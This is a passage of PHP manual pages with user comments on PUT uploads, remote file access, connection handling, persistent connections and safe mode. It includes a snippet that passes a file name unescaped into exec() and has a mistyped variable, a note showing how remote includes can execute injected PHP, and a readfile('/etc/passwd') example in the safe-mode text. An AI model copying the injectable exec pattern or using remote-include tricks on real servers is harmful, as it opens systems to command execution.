                    throw new Exception("Can't write to tmp file");

                // Read the data a chunk at a time and write to the file
                while ($data = fread($putData, $CHUNK)) {
                    $chunk_read = strlen($data);
                    if (($block_write = fwrite($fp, $data)) != $chunk_read)
                        throw new Exception("Can't write more to tmp file");

                    $tot_write += $block_write;
                }

                if (!fclose($fp))
                    throw new Exception("Can't close tmp file");

                unset($putData);
            } else {
                // Open the file for writing
                if (!($fp = fopen($tmpFileName, "a")))
                    throw new Exception("Can't write to tmp file");

                // Read the data a chunk at a time and write to the file
                while ($data = fread($putData, $CHUNK)) {
                    $chunk_read = strlen($data);
                    if (($block_write = fwrite($fp, $data)) != $chunk_read)
                        throw new Exception("Can't write more to tmp file");

                    $tot_write += $block_write;
                }

                if (!fclose($fp))
                    throw new Exception("Can't close tmp file");

                unset($putData);
            }

            // Check file length and MD5
            if ($tot_write != $file_size)
                throw new Exception("Wrong file size");

            $md5_arr = explode(' ', exec("md5sum $tmpFileName"));
            $md5 = $md5sum_arr[0];
            if ($md5 != $md5sum)
                throw new Exception("Wrong md5");
        } catch (Exception $e) {
            echo '', $e->getMessage(), "\n";
        }
?>
yaogzhan at gmail dot com 14-Dec-2005 01:01
PUT raw data comes in php://input, and you have to use fopen() and fread() to get the content. file_get_contents() is useless.

The HTTP PUT request MUST contain a Content-Length header to specify the length (in bytes) of the body, or the server will not be able to know when the input stream is over. This is the common problem for many to find the php://input empty if no such header available.

This should make PUT work properly on win32 using PHP5.1.1 and apache2.
warhog at warhog dot net 20-Sep-2005 10:22
NOTE: The <Script>-Directive can not be placed in .htaccess files.

So if you're having shared webspace and no access to the apache-configuration file you will have little chance to make something like this work.

But you can solve the problem, using mod_rewrite (for Apache) - for further information see the documentation at http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html
gherson 15-Aug-2005 11:16
A Case Study:  To set up publishing with Netscape 7.2 Composer to Apache/PHP, no need to use CGI (which I tried unsuccessfully for too long) or to alter Apache's httpd.conf.  I needed only to click Publish As, fill in put2disk.php as the filename (where its contents are the below), and fill in that file's dir as the "Publishing address".
XAMPP 1.4.14: Apache/2.0.54 (Win32) mod_ssl/2.0.54 OpenSSL/0.9.7g PHP/5.0.4.

<? // filename: put2disk.php.

//file_put_contents ("get_def.out", print_r (get_defined_vars(), TRUE)); // debugging

// Two slurp methods: (a) didn't work, (b) did.
//$stdin_rsc = fopen("php://input", "r");
//$putdata='';
//while ($putdata .= fread($stdin_rsc, 1024)); // a. Hangs the "Publishing..." dialog.
//while (!feof($stdin_rsc)) $putdata.=fread($stdin_rsc, 8192); // b. Worked, but file_get_contents is faster.
//fclose($stdin_rsc);

// All that's nec:
$putdata=file_get_contents('php://input'); // Not php://stdin! (When the ability to see error messages isn't available, the doc (this manual page) needs to be more accurate.)

file_put_contents("stdin.out",$putdata);
?>
mikeb at mikebanahan dot com 03-Nov-2003 11:41
I have spent a lot of time trying to make PUT work with Apache 2.0.40. I have not yet been able to find any way of making the Script directive invoke php via mod_php, the only way has been to have a file called example.cgi and invoke it via CGI, with the file starting
#!/usr/bin/php
so the PHP interpreter is invoked through the CGI mechanism and not as a module.

If there IS a way of making it work 'right' I'd love to know! After six hours of messing around, I've settled for CGI. The error messages in the apache error log are significantly misleading and the whole thing has been an exercise in frustration.

Attempts to use AddHandler and all 'normal' ways of trying to persuade Apache to do this have been fruitless. It does seem as if PUT can only be handled by CGI invocation.


Using remote files

As long as allow_url_fopen is enabled in php.ini, you can use HTTP and FTP URLs with most of the functions that take a filename as a parameter. In addition, URLs can be used with the include, include_once, require and require_once statements (since PHP 5.2.0, allow_url_include must be enabled for these). See Supported Protocols and Wrappers for more information about the protocols supported by PHP.

For example, you can use this to open a file on a remote web server, parse the output for the data you want, and then use that data in a database query, or simply to output it in a style matching the rest of your website.

Example #1 Getting the title of a remote page

<?php
$file = fopen ("http://www.example.com/", "r");
if (!$file) {
    echo "<p>Unable to open remote file.\n";
    exit;
}
while (!feof ($file)) {
    $line = fgets ($file, 1024);
    /* This only works if the title and its tags are on one line */
    if (preg_match ("@\<title\>(.*)\</title\>@i", $line, $out)) {
        $title = $out[1];
        break;
    }
}
fclose($file);
?>

You can also write to files on an FTP server (provided that you have connected as a user with the correct access rights). You can only create new files using this method; if you try to overwrite a file that already exists, the fopen() call will fail.

To connect as a user other than 'anonymous', you need to specify the username (and possibly password) within the URL, such as 'ftp://user:password@ftp.example.com/path/to/file'. (You can use the same sort of syntax to access files via HTTP when they require Basic authentication.)

Example #2 Storing data on a remote server

<?php
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
if (!$file) {
    echo "<p>Unable to open remote file for writing.\n";
    exit;
}
/* Write the data here. */
fwrite ($file, $_SERVER['HTTP_USER_AGENT'] . "\n");
fclose ($file);
?>

Note:

You might get the idea from the example above that you can use this technique to write to a remote log file. Unfortunately that would not work because the fopen() call will fail if the remote file already exists. To do distributed logging like that, you should take a look at syslog().

User Contributed Notes

slva dot web dot sit at gmail dot com 25-Nov-2013 09:28
If  allow_url_fopen is disabled in php.ini you can use CURL function for check file exist:

<?php
$ch = curl_init("http://www.example.com/favicon.ico");

curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$retcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// $retcode >= 400 -> not found, $retcode = 200, found.
curl_close($ch);
?>
heck at fas dot harvard dot edu 14-Sep-2004 09:06
The previous post is part right, part wrong. It's part right because it's true that the php script will run on the remote server, if it's capable of interpreting php scripts. You can see this by creating this script on a remote machine:
<?php
echo system("hostname");
?>
Then include that in a php file on your local machine. When you view it in a browser, you'll see the hostname of the remote machine.

However, that does not mean there are no security worries here. Just try replacing the previous script with this one:
<?php
echo "<?php system(\"hostname\"); ?>";
?>
I'm guessing you can figure out what that's gonna do.

So yes, remote includes can be a major security problem.


Connection handling

Internally in PHP a connection status is maintained. There are 4 possible states:

  • 0 - NORMAL
  • 1 - ABORTED
  • 2 - TIMEOUT
  • 3 - ABORTED and TIMEOUT

When a PHP script is running normally, the NORMAL state is active. If the remote client disconnects, the ABORTED state flag is turned on. A remote client disconnect is usually caused by the user hitting his STOP button. If the PHP-imposed time limit (see set_time_limit()) is hit, the TIMEOUT state flag is turned on.

You can decide whether or not you want a client disconnect to cause your script to be aborted. Sometimes it is handy to always have your scripts run to completion even if there is no remote browser receiving the output. The default behaviour is however for your script to be aborted when the remote client disconnects. This behaviour can be set via the ignore_user_abort php.ini directive as well as through the corresponding php_value ignore_user_abort Apache httpd.conf directive or with the ignore_user_abort() function. If you do not tell PHP to ignore a user abort and the user aborts, your script will terminate. The one exception is if you have registered a shutdown function using register_shutdown_function(). With a shutdown function, when the remote user hits his STOP button, the next time your script tries to output something PHP will detect that the connection has been aborted and the shutdown function is called. This shutdown function will also get called at the end of your script terminating normally, so to do something different in case of a client disconnect you can use the connection_aborted() function. This function will return TRUE if the connection was aborted.

Your script can also be terminated by the built-in script timer. The default timeout is 30 seconds. It can be changed using the max_execution_time php.ini directive or the corresponding php_value max_execution_time Apache httpd.conf directive as well as with the set_time_limit() function. When the timer expires the script will be aborted and as with the above client disconnect case, if a shutdown function has been registered it will be called. Within this shutdown function you can check to see if a timeout caused the shutdown function to be called by calling the connection_status() function. This function will return 2 if a timeout caused the shutdown function to be called.

One thing to note is that both the ABORTED and the TIMEOUT states can be active at the same time. This is possible if you tell PHP to ignore user aborts. PHP will still note the fact that a user may have broken the connection, but the script will keep running. If it then hits the time limit it will be aborted and your shutdown function, if any, will be called. At this point you will find that connection_status() returns 3.

User Contributed Notes

mheumann at comciencia dot cl 29-Jul-2013 11:38
I had a lot of problems getting a redirect to work, after which my script was intended to keep working in the background. The redirect to another page of my site simply would only work once the original page had finished processing.

I finally found out what was wrong:
The session only gets closed by PHP at the very end of the script, and since access to the session data is locked to prevent more than one page writing to it simultaneously, the new page cannot load until the original processing has finished.

Solution:
Close the session manually when redirecting using session_write_close():

<?php
ignore_user_abort(true);
set_time_limit(0);

$strURL = "PUT YOUR REDIRCT HERE";
header("Location: $strURL", true);
header("Connection: close", true);
header("Content-Encoding: none\r\n");
header("Content-Length: 0", true);

flush();
ob_flush();

session_write_close();

// Continue processing...

sleep(100);
exit;
?>

But careful:
Make sure that your script doesn't write to the session after session_write_close(), i.e. in your background processing code.  That won't work.  Also avoid reading, remember, the next script may already have modified the data.

So try to read out the data you need prior to redirecting.
Ilya Penyaev 28-Sep-2012 03:25
I was quite stuck when trying to make my script redirect the client to another URL and then continue processing. The reason was php-fpm. All possible buffer flushes did not work, unless I called fastcgi_finish_request();

For example:

<?php
    // redirecting...
    ignore_user_abort(true);
    header("Location: ".$redirectUrl, true);
    header("Connection: close", true);
    header("Content-Length: 0", true);
    ob_end_flush();
    flush();
    fastcgi_finish_request(); // important when using php-fpm!

    sleep (5); // User won't feel this sleep because he'll already be away

    // do some work after user has been redirected
?>
Anonymous 30-Dec-2011 02:52
This simple function outputs a string and closes the connection. It considers compression using "ob_gzhandler"

It took me a little while to put this all together, mostly because setting the encoding to none, as some people noted here, didn't work.

<?php
function outputStringAndCloseConnection2($stringToOutput)
{
    set_time_limit(0);
    ignore_user_abort(true);
    // buffer all upcoming output - make sure we care about compression:
    if(!ob_start("ob_gzhandler"))
        ob_start();
    echo $stringToOutput;
    // get the size of the output
    $size = ob_get_length();
    // send headers to tell the browser to close the connection
    header("Content-Length: $size");
    header('Connection: close');
    // flush all output
    ob_end_flush();
    ob_flush();
    flush();
    // close current session
    if (session_id()) session_write_close();
}
?>
a1n2ton at gmail dot com 12-Dec-2009 10:09
PHP changes directory on connection abort so code like this will not do what you want:

<?php
function abort()
{
     if(connection_aborted())
           unlink('file.ini');
}
register_shutdown_function('abort');
?>

actually it will delete file in apaches's root dir so if you want to unlink file in your script's dir on abort or write to it you have to store directory
<?php
function abort()
{
     global $dsd;
     if(connection_aborted())
           unlink($dsd.'/file.ini');
}
register_shutdown_function('abort');
$dsd=getcwd();
?>
tom lgold2003 at gmail dot com 10-Sep-2009 08:43
hey, thanks to arr1, and it is very useful for me, when I need to return to the user fast and then do something else.

When using the codes, it nearly drive me mad and I found another thing that may affect the codes:

Content-Encoding: gzip

This is because the zlib is on and the content will be compressed. But this will not output the buffer until all output is over.

So, it may need to send the header to prevent this problem.

now, the code becomes:

<?php
ob_end_clean();
header("Connection: close\r\n");
header("Content-Encoding: none\r\n");
ignore_user_abort(true); // optional
ob_start();
echo ('Text user will see');
$size = ob_get_length();
header("Content-Length: $size");
ob_end_flush();     // Strange behaviour, will not work
flush();            // Unless both are called !
ob_end_clean();

//do processing here
sleep(5);

echo('Text user will never see');
//do some processing
?>
Jean Charles MAMMANA 01-Apr-2008 10:25
connection_status() return ABORTED state ONLY if the client disconnects gracefully (with STOP button). In this case the browser send the RST TCP packet that notify PHP the connection is closed.
But.... If the connection is stopped by networs troubles (wifi link down by exemple) the script doesn't know that the client is disconnected :(

I've tried to use fopen("php://output") with stream_select() on writting to detect write locks (due to full buffer) but php give me this error : "cannot represent a stream of type Output as a select()able descriptor"

So I don't know how to detect correctly network trouble connection...
Anonymous 13-Nov-2007 11:06
in regards of posting from:
arr1 at hotmail dot co dot uk

if you use/write sessions you need to do this before:
(otherwise it does not work)

session_write_close();

and if wanted:

ignore_user_abort(TRUE);
instead of ignore_user_abort();
arr1 at hotmail dot co dot uk 14-Nov-2006 08:51
Closing the users browser connection whilst keeping your php script running has been an issue since 4.1, when the behaviour of register_shutdown_function() was modified so that it would not automatically close the users connection.

sts at mail dot xubion dot hu
Posted the original solution:

<?php
header("Connection: close");
ob_start();
phpinfo();
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
flush();
sleep(13);
error_log("do something in the background");
?>

Which works fine until you substitute phpinfo() for
echo ('text I want user to see'); in which case the headers are never sent!

The solution is to explicitly turn off output buffering and clear the buffer prior to sending your header information.

example:

<?php
 ob_end_clean();
 header("Connection: close");
 ignore_user_abort(); // optional
 ob_start();
 echo ('Text the user will see');
 $size = ob_get_length();
 header("Content-Length: $size");
 ob_end_flush(); // Strange behaviour, will not work
 flush();            // Unless both are called !
 // Do processing here
 sleep(30);
 echo('Text user will never see');
?>
Just spent 3 hours trying to figure this one out, hope it helps someone :)

Tested in:
IE 7.5730.11
Mozilla Firefox 1.81
Lee 18-Sep-2004 12:16
The point mentioned in the last comment isn't always the case.

If a user's connection is lost half way through an order processing script is confirming a user's credit card/adding them to a DB, etc (due to their ISP going down, network trouble... whatever) and your script tries to send back output (such as, "pre-processing order" or any other type of confirmation), then your script will abort -- and this could cause problems for your process.

I have an order script that adds data to a InnoDB database (through MySQL) and only commits the transactions upon successful completion. Without ignore_user_abort(), I have had times when a user's connection dropped during the processing phase... and their card was charged, but they weren't added to my local DB.

So, it's always safe to ignore any aborts if you are processing sensitive transactions that should go ahead, whether your user is "watching" on the other end or not.
pulstar at mail dot com 07-Aug-2003 08:32
These functions are very useful for example if you need to control when a visitor in your website place an order and you need to check if he/she didn't clicked the submit button twice or cancelled the submit just after have clicked the submit button.
If your visitor click the stop button just after have submitted it, your script may stop in the middle of the process of registering the products and do not finish the list, generating inconsistency in your database.
With the ignore_user_abort() function you can make your script finish everything fine and after you can check with register_shutdown_function() and connection_aborted() if the visitor cancelled the submission or lost his/her connection. If he/she did, you can set the order as not confirmed and when the visitor came back, you can present the old order again.
To prevent a double click of the submit button, you can disable it with javascript or in your script you can set a flag for that order, which will be recorded into the database. Before accept a new submission, the script will check if the same order was not placed before and reject it. This will work fine, as the script have finished the job before.
Note that if you use ob_start("callback_function") in the begin of your script, you can specify a callback function that will act like the shutdown function when our script ends and also will let you to work on the generated page before send it to the visitor.


Persistent Database Connections

Persistent connections are links that do not close when the execution of your script ends. When a persistent connection is requested, PHP checks if there's already an identical persistent connection (that remained open from earlier) - and if it exists, it uses it. If it does not exist, it creates the link. An 'identical' connection is a connection that was opened to the same host, with the same username and the same password (where applicable).

People who aren't thoroughly familiar with the way web servers work and distribute the load may mistake persistent connects for what they're not. In particular, they do not give you an ability to open 'user sessions' on the same link, they do not give you an ability to build up a transaction efficiently, and they don't do a whole lot of other things. In fact, to be extremely clear about the subject, persistent connections don't give you any functionality that wasn't possible with their non-persistent brothers.

Why?

This has to do with the way web servers work. There are three ways in which your web server can utilize PHP to generate web pages.

The first method is to use PHP as a CGI "wrapper". When run this way, an instance of the PHP interpreter is created and destroyed for every page request (for a PHP page) to your web server. Because it is destroyed after every request, any resources that it acquires (such as a link to an SQL database server) are closed when it is destroyed. In this case, you do not gain anything from trying to use persistent connections -- they simply don't persist.

The second, and most popular, method is to run PHP as a module in a multiprocess web server, which currently only includes Apache. A multiprocess server typically has one process (the parent) which coordinates a set of processes (its children) who actually do the work of serving up web pages. When a request comes in from a client, it is handed off to one of the children that is not already serving another client. This means that when the same client makes a second request to the server, it may be served by a different child process than the first time. When opening a persistent connection, every following page requesting SQL services can reuse the same established connection to the SQL server.

The last method is to use PHP as a plug-in for a multithreaded web server. Currently PHP 4 has support for ISAPI, WSAPI, and NSAPI (on Windows), which all allow PHP to be used as a plug-in on multithreaded servers like Netscape FastTrack (iPlanet), Microsoft's Internet Information Server (IIS), and O'Reilly's WebSite Pro. The behavior is essentially the same as for the multiprocess model described before.

If persistent connections don't have any added functionality, what are they good for?

The answer here is extremely simple -- efficiency. Persistent connections are good if the overhead to create a link to your SQL server is high. Whether or not this overhead is really high depends on many factors. Like, what kind of database it is, whether or not it sits on the same computer on which your web server sits, how loaded the machine the SQL server sits on is and so forth. The bottom line is that if that connection overhead is high, persistent connections help you considerably. They cause the child process to simply connect only once for its entire lifespan, instead of every time it processes a page that requires connecting to the SQL server. This means that for every child that opened a persistent connection will have its own open persistent connection to the server. For example, if you had 20 different child processes that ran a script that made a persistent connection to your SQL server, you'd have 20 different connections to the SQL server, one from each child.

Note, however, that this can have some drawbacks if you are using a database with connection limits that are exceeded by persistent child connections. If your database has a limit of 16 simultaneous connections, and in the course of a busy server session, 17 child threads attempt to connect, one will not be able to. If there are bugs in your scripts which do not allow the connections to shut down (such as infinite loops), the database with only 16 connections may be rapidly swamped. Check your database documentation for information on handling abandoned or idle connections.

Warning

There are a couple of additional caveats to keep in mind when using persistent connections. One is that when using table locking on a persistent connection, if the script for whatever reason cannot release the lock, then subsequent scripts using the same connection will block indefinitely and may require that you either restart the httpd server or the database server. Another is that when using transactions, a transaction block will also carry over to the next script which uses that connection if script execution ends before the transaction block does. In either case, you can use register_shutdown_function() to register a simple cleanup function to unlock your tables or roll back your transactions. Better yet, avoid the problem entirely by not using persistent connections in scripts which use table locks or transactions (you can still use them elsewhere).

An important summary. Persistent connections were designed to have one-to-one mapping to regular connections. That means that you should always be able to replace persistent connections with non-persistent connections, and it won't change the way your script behaves. It may (and probably will) change the efficiency of the script, but not its behavior!

See also fbsql_pconnect(),
ibase_pconnect(), ifx_pconnect(),
ingres_pconnect(),
msql_pconnect(), mssql_pconnect(),
mysql_pconnect(), ociplogon(),
odbc_pconnect(), oci_pconnect(),
pfsockopen(), pg_pconnect(), and
sybase_pconnect().

User Contributed Notes

php at alfadog dot net 23-Jan-2014 01:07
One additional not regarding odbc_pconnect  and possibly other variations of pconnect:

If the connection encounters an error (bad SQL, incorrect request, etc), that error will return with  be present in odbc_errormsg for every subsequent action on that connection, even if subsequent actions don't cause another error.

For example:

A script connects with odbc_pconnect.
The connection is created on it's first use.
The script calls a query "Select * FROM Table1".
Table1 doesn't exist and odbc_errormsg contains that error.

Later(days, perhaps), a different script is called using the same parameters to odbc_pconnect.
The connection already exists, to it is reused.
The script calls a query "Select * FROM Table0".
The query runs fine, but odbc_errormsg still returns the error about Table1 not existing.

I'm not seeing a way to clear that error using odbc_ functions, so keep your eyes open for this gotcha or use odbc_connect instead.
jorgeleon85 at gmail dot com 18-Feb-2011 11:07
I've been looking everywhere for a benchmark or at least comparison of the overhead used by oci_connect and oci_pconnect.
Just saying "oci_connect is slower because the overhead..." is not enough for me. For than I wrote a couple scripts to compare perfomance.
At the end I found out an average of 34% more time using a oci_connect than oci_pconnect, using a query of 50 rows and 100 columns.
Obviously this wasn't a real benchmark however it gives a simple idea of the efficiency of each function.
ambrish at php dot net 20-Sep-2010 10:37
In IBM_DB2 extension v1.9.0 or later performs a transaction rollback on persistent connections at the end of a request, thus ending the transaction. This prevents the transaction block from carrying over to the next request which uses that connection if script execution ends before the transaction block does.
Tom 28-Dec-2009 02:37
There's a third case for PHP: run on a fastCGI interface. In this case, PHP processes are NOT destroyed after each request, and so persistent connections do persist. Set PHP_FCGI_CHILDREN << mysql's max_connections and you'll be fine.
ynzhang from lakeheadu canada 09-Mar-2009 07:49
It seems that using pg_pconnect() will not persist the temporary views/tables. So if you are trying to create temporary views/tables with the query results and then access them with the next script of the same session, you are out of luck. Those temporary view/tables are gone after each PHP script ended. One way to get around this problem is to create real view/table with session ID as part of the name and record the name&creation time in a common table. Have a garbage collection script to drop the view/table who's session is expired.
christopher dot jones at oracle dot com 26-Jun-2007 07:46
For the oci8 extension it is not true that " [...] when using transactions, a transaction block will also carry over to the next script which uses that connection if script execution ends before the transaction block does.".  The oci8 extension does a rollback at the end scripts using persistent connections, thus ending the transaction.  The rollback also releases locks. However any ALTER SESSION command (e.g. changing the date format) on a persistent connection will be retained over to the next script.
andy at paradigm-reborn dot com 20-Feb-2007 05:13
To those using MySQL and finding a lot of leftover sleeping processes, take a look at MySQL's wait_timeout directive. By default it is set to 8 hours, but almost any decent production server will have been lowered to the 60 second range. Even on my testing server, I was having problems with too many connections from leftover persistent connections.
whatspaz at g NO dot SPAM mail dot c o m 26-Nov-2006 12:02
in response to web at nick, have you tried FLUSH PRIVILEGES. this should reload those privileges.
RQuadling at GMail dot com 06-Mar-2006 12:43
If you have multiple databases on the same server AND you are using persistent connections, you MUST prefix all the table names with the specific database name.

Changing the database using the xxx_select_db functions alters the database for the connection for all users who are sharing that connection (assuming PHP is running shared and not CGI/CLI).

If you have 2 databases (live and archive) and your script is talking to both, you cannot use 2 persistent connections and change the database for each one.

Internally, persistent connections are used even if you do not specify that you want to use persistent connections. This is why new_link was added to mysql_connect/mssql_connect (PHPV4.2.0+).
fabio 12-Jan-2006 12:54
You can in fact provide a port for the connection, take a look at http://de2.php.net/manual/en/function.mysql-pconnect.php#AEN101879

Just use "hostname:port" for the server address.
aaryal at foresightint dot com 16-Jan-2004 12:21
this one bit quite a bit of chunk out of my you-know-what. seems like if you're running multiple database servers on the same host (for eg. MySQL on a number of ports) you can't use pconnect since the port number isn't part of the key for database connections. especially if you have the same username and password to connect to all the database servers running on different ports. but then it might be php-MySQL specific. you might get a connection for an entirely different port than the one you asked for.
jean_christian at myrealbox dot com 15-Aug-2002 12:13
If anyone ever wonders why the number of idle db process (open connections) seems to grow even though you are using persistent connections, here's why:

"You are probably using a multi-process web server such as Apache. Since
database connections cannot be shared among different processes a new
one is created if the request happen to come to a different web server
child process."


Safe Mode

Table of Contents

  • Security and Safe Mode
  • Functions restricted/disabled by safe mode

The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now.

Warning

This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

Changelog for safe mode
Version | Description
5.4.0 | Removed from PHP, and generates a fatal E_CORE_ERROR level error when enabled.
5.3.0 | Deprecated, and E_DEPRECATED errors were added.

User Contributed Notes

14-Sep-2006 07:18
Each IIS server in Windows runs as a User so it does have a UID file ACLs can be applied via a Group (GID) or User.  The trick is to configure each website to run as a distinct user instead of the default of System.
martin at example dot com 01-Nov-2005 01:07
On the note of php security

have a look at: http://www.suphp.org/Home.html

 suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter.
jo at durchholz dot org 18-Jul-2005 10:18
Note that safe mode is largely useless. Most ISPs that offer Perl also offer other scripting languages (mostly Perl), and these other languages don't have the equivalent of PHP.
In other words, if PHP's safe mode won't allow vandals into your web presence, they will simply use Perl.
Also, safe mode prevents scripts from creating and using directories (because they will be owned by the WWW server, not by the user who uploaded the PHP script). So it's not only useless, it's also a hindrance.
The only realistic option is to bugger the Apache folks until they run all scripts as the user who's responsible for a given virtualhost or directory.
03-May-2005 06:37
To separate distinct open_basedir use : instead of on , or ; on unix machines.
plyrvt at mail dot ru 29-Apr-2005 12:14
[In reply to jedi at tstonramp dot com]
Safe mode is used "since the alternatives at the web server and OS levels aren't very realistic". Manual says about UNIX OS level and UNIX web-servers by design (Apache). It's not realistic for unix-like server, but for NT (IIS) each virtual host can run from different user account, so there is no need in Safe Mode restrictions at all, if proper NTFS rights are set.
bertrand dot gorge at epistema dot com 23-Sep-2004 02:58
Beware that when in safe mode, mkdir creates folders with apache's UID, though the files you create in them are of your script's UID (usually the same as your FTP uid).

What this means is that if you create a folder, you won't be able to remove it, nor to remove any of the files you've created in it (because those operations require the UID to be the same).

Ideally mkdir should create the folder with the script's UID, but this has already been discussed and will not be fixed in the near future.

In the meantime, I would advice NOT to user mkdir in safe mode, as you may end up with folders you can't remove/use.
Russ 31-Aug-2004 05:52
Sometimes you're stuck on a system you don't run and you can't control the setting of safe mode.  If your script needs to run on different hosts (some with safe mode, some without it), you can code around it with something like:

<?php
// Check for safe mode
if( ini_get('safe_mode') ){
    // Do it the safe mode way
}else{
    // Do it the regular way
}

?>
daniel dot gaddis at tlc dot state dot tx dot us 17-Mar-2004 08:03
on windows if multiple directories are wanted for safe_mode_exec_dir and open_basedir be sure to separate the paths with a semi colon and double quote the whole path string. For example:

safe_mode = On
safe_mode_exec_dir = "F:\WWW\HTML;F:\batfiles\batch"
open_basedir = "F:\WWW\HTML;F:\batfiles\batch"
info at phpcoding dot net 08-Mar-2003 03:44
readfile() seems not always to take care of the safe_mode setting.
When the file you want to read with readfile() resides in the same directory as the script itself, it doesn`t matter who the owner of the file is, readfile() will work.
gtg782a at mail dot gatech dot edu 26-Jan-2003 06:14
zebz: The user would not be able to create a directory outside the namespace where he/she would be able to modify its contents. One can't create a directory that becomes apache-owned unless one owns the parent directory.

Another security risk: since files created by apache are owned by apache, a user could call the fputs function and output PHP code to a newly-created file with a .php extension, thus creating an apache-owned PHP script on the server. Executing that apache-owned script would allow the script to work with files in the apache user's namespace, such as logs. A solution would be to force PHP-created files to be owned by the same owner/group as the script that created them. Using open_basedir would be a likely workaround to prevent ascension into uncontrolled areas.
zebz at ihaveenoughspam_hotmail dot com 28-Apr-2002 05:42
All the filesystem-related functions (unlink, fopen, unlink, etc) seems to be restricted the same way in safe mode, at least on PHP 4.2. If the file UID is different *but* the directory (where the file is located) UID is the same, it will work.

So creating a directory in safe mode is usually a bad idea since the UID will be different from the script (it will be the apache UID) so it won't be possible to do anything with the files created on this directory.
devik at cdi dot cz 25-Jan-2002 01:45
Just to note, I created patch which allows VirtualHost to set User under which all (PHP too) runs. It is more secure than safe_mode. See luxik.cdi.cz/~devik/apache/ if you are interested
jedi at tstonramp dot com 08-Sep-2001 04:17
Many filesystem-related functions are not appropriately restricted when Safe Mode is activated on an NT server it seems.  I would assume that this is due to the filesystem not making use of UID.

In all of my scripts, no matter WHO owns the script (file Ownership-wise) or WHO owns the directory/file in question; both UIDs display

(getmyuid() and fileowner()) as UID = 0

This has the rather nasty side effect of Safe Mode allowing multiple filesystem operations because it believes the script owner and file/dir owner are one and the same.

While this can be worked around by the judicious application of proper filesystem privileges, it's still a "dud" that many of Safe Mode's securities are simply not there with an NT implementation.


Security and Safe Mode

Security and Safe Mode Configuration Directives
Name | Default | Changeable | Changelog
safe_mode | "0" | PHP_INI_SYSTEM | Removed in PHP 5.4.0.
safe_mode_gid | "0" | PHP_INI_SYSTEM | Removed in PHP 5.4.0.
safe_mode_include_dir | NULL | PHP_INI_SYSTEM | Removed in PHP 5.4.0.
safe_mode_exec_dir | "" | PHP_INI_SYSTEM | Removed in PHP 5.4.0.
safe_mode_allowed_env_vars | "PHP_" | PHP_INI_SYSTEM | Removed in PHP 5.4.0.
safe_mode_protected_env_vars | "LD_LIBRARY_PATH" | PHP_INI_SYSTEM | Removed in PHP 5.4.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

safe_mode boolean

Whether to enable PHP's safe mode. If PHP is compiled with --enable-safe-mode then defaults to On, otherwise Off.

Warning

This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

safe_mode_gid boolean

By default, Safe Mode does a UID compare check when opening files. If you want to relax this to a GID compare, then turn on safe_mode_gid. Whether to use UID (FALSE) or GID (TRUE) checking upon file access.

safe_mode_include_dir string

UID/GID checks are bypassed when including files from this directory and its subdirectories (directory must also be in include_path or full path must including).

This directive can take a colon (semi-colon on Windows) separated path in a fashion similar to the include_path directive, rather than just a single directory. The restriction specified is actually a prefix, not a directory name. This means that "safe_mode_include_dir = /dir/incl" also allows access to "/dir/include" and "/dir/incls" if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: "safe_mode_include_dir = /dir/incl/" If the value of this directive is empty, no files with different UID/GID can be included.
safe_mode_exec_dir string

If PHP is used in safe mode, system() and the other functions executing system programs refuse to start programs that are not in this directory. You have to use / as directory separator on all environments including Windows.

safe_mode_allowed_env_vars string

Setting certain environment variables may be a potential security breach. This directive contains a comma-delimited list of prefixes. In Safe Mode, the user may only alter environment variables whose names begin with the prefixes supplied here. By default, users will only be able to set environment variables that begin with PHP_ (e.g. PHP_FOO=BAR).

Note:

If this directive is empty, PHP will let the user modify ANY environment variable!

safe_mode_protected_env_vars string

This directive contains a comma-delimited list of environment variables that the end user won't be able to change using putenv(). These variables will be protected even if safe_mode_allowed_env_vars is set to allow to change them.

See also: open_basedir, disable_functions, disable_classes, register_globals, display_errors, and log_errors.

When safe_mode is on, PHP checks to see if the owner of the current script matches the owner of the file to be operated on by a file function or its directory. For example:

-rw-rw-r--    1 rasmus   rasmus       33 Jul  1 19:20 script.php
-rw-r--r--    1 root     root       1116 May 26 18:01 /etc/passwd
Running script.php:
<?php
 readfile('/etc/passwd');
?>
results in this error when safe mode is enabled:
Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2

However, there may be environments where a strict UID check is not appropriate and a relaxed GID check is sufficient. This is supported by means of the safe_mode_gid switch. Setting it to On performs the relaxed GID checking, setting it to Off (the default) performs UID checking.

If instead of safe_mode, you set an open_basedir directory then all file operations will be limited to files under the specified directory. For example (Apache httpd.conf example):

<Directory /docroot>
  php_admin_value open_basedir /docroot
</Directory>
If you run the same script.php with this open_basedir setting then this is the result:
Warning: open_basedir restriction in effect. File is in wrong directory in
/docroot/script.php on line 2

You can also disable individual functions. Note that the disable_functions directive can not be used outside of the php.ini file which means that you cannot disable functions on a per-virtualhost or per-directory basis in your httpd.conf file. If we add this to our php.ini file:

disable_functions = readfile,system
Then we get this output:
Warning: readfile() has been disabled for security reasons in
/docroot/script.php on line 2

Warning

These PHP restrictions are not valid in executed binaries, of course.

User Contributed Notes

rayro at gmx dot de 31-Jan-2009 08:18
Theres a failure with open_basedir and per-host configuration
in apache as described in bug #42836: http://bugs.php.net/bug.php?id=42836

I got the same errors on my development windows system and apache 2.2.4 with php 5.3.beta1.

This error (or similar) is shown:
Warning: Unknown: open_basedir restriction in effect. File(...)
is not within the allowed path(s): (� �� �@5�,�)

Fix:
  - try slashes at the end of the folder name
  or
  - put "php_admin_value open_basedir ..." at first of all in the configuration


Functions restricted/disabled by safe mode

This is a still probably incomplete and possibly incorrect listing of the functions limited by safe mode.

Safe mode limited functions
Function | Limitations
